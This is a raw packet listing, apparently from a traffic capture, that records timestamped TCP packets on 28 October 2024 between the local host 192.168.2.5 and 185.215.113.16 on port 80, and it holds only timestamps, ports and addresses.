Oct 28, 2024 08:18:16.748894930 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.748898983 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748909950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748924017 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748924971 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.748948097 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.748960018 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.748960018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748970985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748980045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.748991966 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.749001980 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.749031067 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781532049 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781574011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781620979 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781626940 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781641960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781665087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781681061 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781694889 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781698942 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781717062 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781719923 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781729937 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781739950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781747103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781757116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781765938 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781769037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781809092 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.781956911 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.781996965 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782002926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782015085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782057047 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782078028 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782090902 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782150030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782154083 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782161951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782201052 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782218933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782231092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782242060 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782253981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782259941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782264948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782272100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782279015 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782358885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782367945 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782371998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782383919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782394886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782407999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782409906 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782439947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782442093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782455921 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782474041 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782485962 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782490969 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782497883 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782509089 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782520056 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782541037 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782593966 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782605886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782615900 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782639980 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782665014 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782707930 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782720089 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782730103 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782741070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782751083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782752991 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782764912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782782078 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782794952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782800913 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.782805920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.782835007 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864101887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864130020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864150047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864171982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864196062 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864214897 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864231110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864249945 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864253998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864272118 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864275932 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864546061 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864664078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864686966 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864722967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864736080 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864826918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864850998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864875078 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.864883900 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.864948988 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865040064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865077019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865102053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865150928 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865309954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865333080 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865358114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865366936 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865392923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865402937 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865417004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865441084 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865461111 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865463972 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865484953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865513086 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865606070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865631104 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865653038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865655899 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865700006 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865715981 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865722895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865813971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865849972 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865861893 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865869999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865891933 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865895987 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865916014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.865935087 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.865950108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866007090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866107941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866132021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866153955 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866229057 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866309881 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866333008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866354942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866355896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866379976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866398096 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866414070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866453886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866498947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866605997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866628885 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866652012 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866663933 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866686106 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866697073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866712093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866734028 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866758108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866769075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.866811991 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.866980076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867002010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867052078 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867140055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867161989 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867186069 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867208004 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867208958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867233038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867278099 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867384911 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867420912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867443085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867466927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867472887 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867491007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867491961 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867512941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867537975 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867654085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867676973 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867702007 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867726088 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867726088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867749929 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867758989 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867774010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867796898 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867799997 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867820978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867844105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867866993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.867867947 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.867892981 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868078947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868114948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868127108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868139029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868165016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868201971 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868253946 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868278027 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868298054 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868300915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868506908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868530035 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868536949 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868552923 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868571997 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868577003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868599892 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868622065 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.868645906 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.868684053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.898869038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.898940086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.898993015 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.898998976 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899044037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899080992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899092913 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899116039 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899151087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899185896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899190903 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899220943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899225950 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899255037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899295092 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899370909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899399996 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899422884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899446964 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899473906 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899508953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899516106 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899540901 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899584055 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899595976 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899617910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899651051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899687052 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899694920 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899730921 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899739981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899772882 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899811983 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899821997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899856091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899904966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.899907112 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899957895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.899992943 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900002956 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900027037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900077105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900111914 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900127888 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900146008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900175095 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900178909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900213957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900222063 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900248051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900283098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900316000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900336027 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900351048 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900367022 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900383949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900422096 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900455952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900469065 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900490046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900501966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900525093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900558949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900590897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900603056 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900624990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900629044 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900660992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900695086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900727034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900743008 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900762081 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900769949 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900795937 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900830030 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900860071 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900871992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900893927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900899887 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.900927067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900959969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.900994062 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.901000023 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.901026964 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:16.901032925 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:16.906774998 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981698990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981717110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981731892 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981746912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981760979 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981775999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981791019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981798887 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981805086 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981815100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981827021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981838942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981849909 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981856108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981861115 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981875896 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981882095 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981885910 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981897116 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981905937 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981908083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981919050 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981925011 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981930971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981941938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981945038 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981949091 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981960058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981966019 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981971025 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981981993 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.981988907 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.981992960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.982006073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.982012987 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:17.982017040 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.982028961 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:17.982036114 CET	49764	80	192.168.2.5	185.215.113.16
